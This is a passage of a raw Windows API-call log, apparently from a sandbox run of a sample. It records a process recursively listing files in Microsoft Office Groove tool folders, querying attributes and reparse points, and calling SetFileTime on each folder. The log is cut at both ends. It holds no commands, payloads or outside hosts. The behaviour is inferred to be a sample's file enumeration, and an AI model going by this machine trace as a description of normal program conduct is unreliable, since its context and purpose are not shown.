ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImages.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98fc100, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98fc100, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImages.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.629] GetLastError () returned 0x12 [0078.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.630] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.630] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="")) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.631] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.631] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.631] NtClose (Handle=0x164) returned 0x0 [0078.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.632] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="")) returned 1 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0c10 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba790 [0078.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="")) returned 1 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0c30 [0078.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba898 [0078.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.634] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="")) returned 0 [0078.634] GetLastError () returned 0x12 [0078.634] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.634] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.634] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.634] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="")) returned 1 [0078.634] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="")) returned 1 [0078.634] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="")) returned 0 [0078.634] GetLastError () returned 0x12 [0078.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.634] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.635] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="")) returned 1 [0078.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.636] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.636] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.636] NtClose (Handle=0x170) returned 0x0 [0078.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.637] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.637] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.637] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.637] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.638] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.638] GetLastError () returned 0x12 [0078.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.638] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.638] GetLastError () returned 0x12 [0078.638] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="")) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.639] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.639] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.639] NtClose (Handle=0x164) returned 0x0 [0078.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 